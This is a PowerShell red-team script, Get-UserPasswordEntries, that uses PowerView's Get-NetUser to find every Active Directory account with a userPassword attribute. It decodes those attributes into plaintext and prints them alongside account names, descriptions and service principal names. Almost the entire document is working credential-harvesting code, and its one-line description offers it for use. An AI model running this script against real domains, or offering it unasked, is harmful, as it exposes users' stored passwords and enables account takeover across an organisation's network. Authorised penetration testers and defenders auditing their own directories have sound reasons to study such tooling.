Get-UserPasswordEntries - Red-Teaming script intended to look through Active Directory's LDAP/GlobalCatalog and extract every user having set userPassword property. Then to decode that property.

Get-UserPasswordEntries.ps1

# Assuming we have PowerView's Get-NetUser command available.
Import-Module powerview.ps1 -ErrorAction SilentlyContinue

Function Get-UserPasswordEntries 
{
    $passwordsEntries = Get-NetUser -Filter userpassword=*
    $num = 0

    foreach ($entry in $passwordsEntries) {
        $passw = $entry | Select -ExpandProperty userpassword
        $passw2 = $passw | % {[char][int]$_}
        $passw3 = $passw2 -join ''
        $name1 = $entry.samaccountname
        try {
            $desc = $entry.description
        }
        catch {
            $desc = "<empty>"
        }
        
        try {
            $name3 = $entry.serviceprincipalname
        }
        catch {
            $name3 = "<empty>"
        }

        $num += 1

        $obj = @{
            SamAccountName = $name1
            ServicePrincipalName = $name3
            Description = $desc
            UserPassword = $passw3
        }
        $object = new-object psobject -Property $obj
        
        Write-Host $num".)"
        Write-Host "SamAccountName:`t`t" $object.SamAccountName
        Write-Host "Description:`t`t" $object.Description
        Write-Host "ServicePrincipalName:`t" $object.ServicePrincipalName
        Write-Host "UserPassword:`t`t" $object.UserPassword
        Write-Host
    }

    Write-Host "Found in total: "$num" entries."
}

Get-UserPasswordEntries